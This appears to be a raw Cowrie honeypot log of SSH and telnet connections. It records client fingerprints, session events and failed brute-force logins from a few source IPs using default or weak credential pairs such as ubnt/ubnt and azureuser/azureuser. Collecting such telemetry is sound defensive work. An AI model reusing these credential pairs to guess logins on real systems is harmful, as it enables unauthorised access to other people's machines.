{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40990,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d244c88cf45","protocol":"ssh","message":"New connection: 176.65.132.129:40990 (159.203.135.109:22) [session: 7d244c88cf45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:52.825204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:52.829914Z","src_ip":"176.65.132.129","session":"7d244c88cf45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:52.912208Z","src_ip":"176.65.132.129","session":"7d244c88cf45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:53.159879Z","src_ip":"176.65.132.129","session":"7d244c88cf45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:54.245100Z","src_ip":"176.65.132.129","session":"7d244c88cf45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43668,"dst_ip":"159.203.135.109","dst_port":22,"session":"983dcee68b6b","protocol":"ssh","message":"New connection: 176.65.132.129:43668 (159.203.135.109:22) [session: 983dcee68b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:56.052071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:56.062773Z","src_ip":"176.65.132.129","session":"983dcee68b6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:56.251248Z","src_ip":"176.65.132.129","session":"983dcee68b6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:56.520238Z","src_ip":"176.65.132.129","session":"983dcee68b6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:57.614542Z","src_ip":"176.65.132.129","session":"983dcee68b6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.15856456756592,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:57.704690Z","src_ip":"152.42.224.71","session":"bf4c5e3e23ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43680,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2475b3f9dae","protocol":"ssh","message":"New connection: 176.65.132.129:43680 (159.203.135.109:22) [session: c2475b3f9dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:59.420256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:59.425424Z","src_ip":"176.65.132.129","session":"c2475b3f9dae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.207","src_port":63538,"dst_ip":"10.17.0.5","dst_port":22,"session":"86b46582fe7c","protocol":"ssh","message":"New connection: 64.89.160.207:63538 (10.17.0.5:22) [session: 86b46582fe7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:59.441129Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:59.446889Z","src_ip":"64.89.160.207","session":"86b46582fe7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:59.508189Z","src_ip":"176.65.132.129","session":"c2475b3f9dae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.207","src_port":63544,"dst_ip":"10.17.0.5","dst_port":22,"session":"79a1e738d5e1","protocol":"ssh","message":"New connection: 64.89.160.207:63544 (10.17.0.5:22) [session: 79a1e738d5e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:59.555123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:59.560089Z","src_ip":"64.89.160.207","session":"79a1e738d5e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:59.651249Z","src_ip":"64.89.160.207","session":"79a1e738d5e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:59.755781Z","src_ip":"176.65.132.129","session":"c2475b3f9dae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"soccer","message":"login attempt [1234/soccer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:59.829625Z","src_ip":"64.89.160.207","session":"79a1e738d5e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:00.919659Z","src_ip":"64.89.160.207","session":"79a1e738d5e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:00.926069Z","src_ip":"176.65.132.129","session":"c2475b3f9dae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43684,"dst_ip":"159.203.135.109","dst_port":22,"session":"a04c97a3da72","protocol":"ssh","message":"New connection: 176.65.132.129:43684 (159.203.135.109:22) [session: a04c97a3da72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:02.550011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:02.556778Z","src_ip":"176.65.132.129","session":"a04c97a3da72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:02.639379Z","src_ip":"176.65.132.129","session":"a04c97a3da72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:02.900896Z","src_ip":"176.65.132.129","session":"a04c97a3da72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47514,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c76e7d94185","protocol":"telnet","message":"New connection: 152.42.224.71:47514 (10.17.0.5:23) [session: 0c76e7d94185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:03.033834Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:03.986570Z","src_ip":"176.65.132.129","session":"a04c97a3da72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55998,"dst_ip":"159.203.135.109","dst_port":22,"session":"47dc2a9cd4a1","protocol":"ssh","message":"New connection: 176.65.132.129:55998 (159.203.135.109:22) [session: 47dc2a9cd4a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:05.733998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:05.744131Z","src_ip":"176.65.132.129","session":"47dc2a9cd4a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:05.830363Z","src_ip":"176.65.132.129","session":"47dc2a9cd4a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.22014617919922,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:05.894915Z","src_ip":"152.42.224.71","session":"a20e855611a9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:06.241323Z","src_ip":"176.65.132.129","session":"47dc2a9cd4a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:07.328068Z","src_ip":"176.65.132.129","session":"47dc2a9cd4a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33076,"dst_ip":"10.17.0.5","dst_port":23,"session":"357ce582e98d","protocol":"telnet","message":"New connection: 152.42.224.71:33076 (10.17.0.5:23) [session: 357ce582e98d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:07.561098Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":51310,"dst_ip":"10.17.0.5","dst_port":22,"session":"64d7302941b7","protocol":"ssh","message":"New connection: 80.94.92.184:51310 (10.17.0.5:22) [session: 64d7302941b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:08.471357Z"}
{"eventid":"cowrie.session.closed","duration":56.22838044166565,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:08.604792Z","src_ip":"152.42.224.71","session":"682148017b87","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:08.680959Z","src_ip":"80.94.92.184","session":"64d7302941b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:08.684837Z","src_ip":"80.94.92.184","session":"64d7302941b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56028,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a2be736a27e","protocol":"ssh","message":"New connection: 176.65.132.129:56028 (159.203.135.109:22) [session: 8a2be736a27e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:09.093048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:09.098642Z","src_ip":"176.65.132.129","session":"8a2be736a27e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:09.181468Z","src_ip":"176.65.132.129","session":"8a2be736a27e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:09.429638Z","src_ip":"176.65.132.129","session":"8a2be736a27e","protocol":"ssh"}
